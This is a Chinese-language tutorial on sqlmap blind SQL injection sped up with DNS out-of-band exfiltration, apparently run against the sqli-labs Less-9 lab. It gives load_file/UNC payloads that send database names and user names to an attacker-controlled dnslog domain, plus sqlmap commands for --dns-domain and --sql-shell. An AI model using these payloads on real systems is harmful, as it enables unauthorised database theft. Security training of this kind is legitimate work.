手把手带你利用SQLmap结合OOB技术实现音速盲注
字数 1015 2025-08-18 11:39:12

SQLmap结合OOB技术实现高效盲注教学文档

一、概述与使用场景

1.1 技术背景

  • 传统时间盲注效率低下,注入表名可能需要数小时
  • OOB(Out of Band)带外通信技术可显著提高注入速度
  • 结合DNSlog平台和SQLmap可实现自动化高效注入

1.2 适用场景

  1. 存在注入点但无回显
  2. 目标服务器DNS请求可达外网
  3. 数据库函数(如MySQL的load_file())可用
  4. Windows主机环境(本文基于Windows实现)

二、核心原理

2.1 UNC路径原理

  • UNC(Universal Naming Convention)通用命名规则
  • 格式:\\servername\sharename
  • 使用UNC路径时会发起DNS查询请求

2.2 DNS迭代查询

  1. 购买可配置域名(如fuzi666.xyz)
  2. 设置域名的nameserver为自有VPS
  3. 在VPS上配置DNS Server
  4. 所有子域名查询都会经过VPS,可实时监控

2.3 OOB技术实现方式

方式一:自定义字符串带出

select load_file('\\\\mygod.kccj9o.dnslog.cn\\111');

方式二:带出数据库名

select load_file(concat(database(),'.pz3vky.dnslog.cn\\111'));

方式三:处理特殊字符(16进制编码)

select load_file(concat(hex(user()),'.pz3vky.dnslog.cn\\111'));

三、环境搭建

3.1 域名与VPS准备

  1. 购买域名(如阿里云最便宜5元/年)
  2. 购买VPS(1核1G Ubuntu主机)
  3. 完成域名实名认证(需等待数小时生效)

3.2 DNS解析配置(阿里云)

  1. 进入域名控制台
  2. 修改DNS设置,填写自有VPS IP
  3. 添加解析记录:
    • 主机记录:ns1, ns2, *
    • 记录值:VPS IP地址
  4. 测试DNS解析是否正常:
    tcpdump -n port 53
    

3.3 故障排查

  1. 检查防火墙:sudo ufw disable
  2. 检查VPS安全组策略,确保53端口开放

四、SQLmap实战应用

4.1 环境准备

  1. VPS安装Python2(通常已预装)
  2. 安装SQLmap:
    git clone git://github.com/sqlmapproject/sqlmap.git
    

4.2 传统盲注与OOB效率对比

传统时间盲注(耗时约1分46秒):

python sqlmap.py -u "http://qq.xxxxxx.com/Less-9/?id=1" --tech=T --dbms=mysql --current-db --batch

OOB注入(耗时约1秒):

python sqlmap.py -u "http://qq.xxxxxx.com/Less-9/?id=1" --tech=T --dbms=mysql --dns-domain=fuzi666.xyz --current-db --batch

4.3 高级应用

获取SQL Shell:

python sqlmap.py -u "http://qq.xxxxxx.com/Less-9/?id=1" --tech=T --dbms=mysql --dns-domain=13fuzi.com --sql-shell --batch

查询数据库名(耗时约4秒):

select schema_name from information_schema.schemata;

五、注意事项

  1. 注入前清除SQLmap缓存:
    • 缓存位置:/root/.sqlmap/output/
    • 清除命令:删除对应缓存文件
  2. 确保目标服务器load_file()函数可用
  3. 特殊字符需进行16进制编码处理
  4. Windows环境UNC路径默认支持,Linux需额外配置

六、扩展学习

  1. 其他OOB利用姿势
  2. 不同数据库的OOB实现方式
  3. 绕过WAF的OOB技术变种
SQLmap结合OOB技术实现高效盲注教学文档 一、概述与使用场景 1.1 技术背景 传统时间盲注效率低下,注入表名可能需要数小时 OOB(Out of Band)带外通信技术可显著提高注入速度 结合DNSlog平台和SQLmap可实现自动化高效注入 1.2 适用场景 存在注入点但无回显 目标服务器DNS请求可达外网 数据库函数(如MySQL的load_ file())可用 Windows主机环境(本文基于Windows实现) 二、核心原理 2.1 UNC路径原理 UNC(Universal Naming Convention)通用命名规则 格式: \\servername\sharename 使用UNC路径时会发起DNS查询请求 2.2 DNS迭代查询 购买可配置域名(如fuzi666.xyz) 设置域名的nameserver为自有VPS 在VPS上配置DNS Server 所有子域名查询都会经过VPS,可实时监控 2.3 OOB技术实现方式 方式一:自定义字符串带出 方式二:带出数据库名 方式三:处理特殊字符(16进制编码) 三、环境搭建 3.1 域名与VPS准备 购买域名(如阿里云最便宜5元/年) 购买VPS(1核1G Ubuntu主机) 完成域名实名认证(需等待数小时生效) 3.2 DNS解析配置(阿里云) 进入域名控制台 修改DNS设置,填写自有VPS IP 添加解析记录: 主机记录:ns1, ns2, * 记录值:VPS IP地址 测试DNS解析是否正常: 3.3 故障排查 检查防火墙: sudo ufw disable 检查VPS安全组策略,确保53端口开放 四、SQLmap实战应用 4.1 环境准备 VPS安装Python2(通常已预装) 安装SQLmap: 4.2 传统盲注与OOB效率对比 传统时间盲注(耗时约1分46秒): OOB注入(耗时约1秒): 4.3 高级应用 获取SQL Shell: 查询数据库名(耗时约4秒): 五、注意事项 注入前清除SQLmap缓存: 缓存位置: /root/.sqlmap/output/ 清除命令:删除对应缓存文件 确保目标服务器load_ file()函数可用 特殊字符需进行16进制编码处理 Windows环境UNC路径默认支持,Linux需额外配置 六、扩展学习 其他OOB利用姿势 不同数据库的OOB实现方式 绕过WAF的OOB技术变种